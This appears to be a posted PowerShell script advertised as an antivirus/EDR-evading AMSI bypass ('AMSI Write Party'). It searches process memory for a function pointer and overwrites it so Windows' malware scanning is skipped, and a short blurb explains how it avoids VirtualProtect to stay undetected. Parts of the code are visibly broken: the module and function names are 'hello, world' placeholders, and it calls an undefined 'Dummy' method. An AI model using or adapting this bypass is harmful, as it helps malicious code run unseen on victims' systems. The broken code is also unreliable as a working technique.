AV\EDR 0day AMSI-BYPASS/AMSI Write Party 2024

[demon]

function xxxsoullessxxx {
    param(
        $InitialStart = 0x50000,
        $NegativeOffset = 0x50000,
        $MaxOffset = 0x1000000,
        $ReadBytes = 0x50000
    )

    # Import necessary APIs
    Add-Type@"
        using System;
        using System.ComponentModel;
        using System.Management.Automation;
        using System.Reflection;
        using System.Runtime.CompilerServices;
        using System.Runtime.InteropServices;
        using System.Text;

        public class APIs {
            [DllImport("kernel32.dll")]
            public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);

            [DllImport("kernel32.dll")]
            public static extern IntPtr GetCurrentProcess();

            [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
            public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
            
            [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
            public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
        }
    "@

    $InitialDate = Get-Date

    # Strings for memory search
    $string = 'hello, world'
    $string2 = 'hello, world'
    $string3 = 'hello, world'

    # Get module handle and function address
    $Address = [APIs]::GetModuleHandle($string)
    $funcAddr = [APIs]::GetProcAddress($Address, $string2 + $string3)

    $Handle = [APIs]::GetCurrentProcess()
    $dummy = 0
    $ApiReturn = $false
    
    # Search for the function address in memory
    for ($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset) {
        $MethodPointerToSearch = [IntPtr]($funcAddr.ToInt64() - $j)
        $ReadedMemoryArray = [byte[]]::new($ReadBytes)
        $ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes, [ref]$dummy)
        for ($i = 0; $i -lt $ReadedMemoryArray.Length - 8; $i += 8) {
            $bytes = [byte[]]($ReadedMemoryArray[$i..($i + 7)])
            $PointerToCompare = [BitConverter]::ToInt64($bytes, 0)
            if ($PointerToCompare -eq $funcAddr.ToInt64()) {
                Write-Host "Found @ $($i)!"
                $MemoryToPatch = [IntPtr]($MethodPointerToSearch.ToInt64() + $i)
                break
            }
        }
        if ($ApiReturn) { break }
    }
    
    # Patch the memory with a dummy function pointer
    $dummyPointer = [APIs]::GetMethod('Dummy').MethodHandle.GetFunctionPointer()
    $buf = [IntPtr[]]($dummyPointer)
    [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)

    # Calculate and display elapsed time
    $FinishDate = Get-Date
    $TimeElapsed = ($FinishDate - $InitialDate).TotalSeconds
    Write-Host "$TimeElapsed seconds"
}

AMSI Write Party
exploits a writable entry within the import address table (IAT) of a program's dependencies, bypassing the need for the VirtualProtect API typically used to mark memory pages as writable.

Unlike traditional methods that trigger EDR monitoring through VirtualProtect API calls, this approach directly modifies writable entries, circumventing AMSI checks without raising suspicion from antivirus and EDR systems
credits for the 0day:

Victor Khoury (Vixx)

xxXsoullessXxx​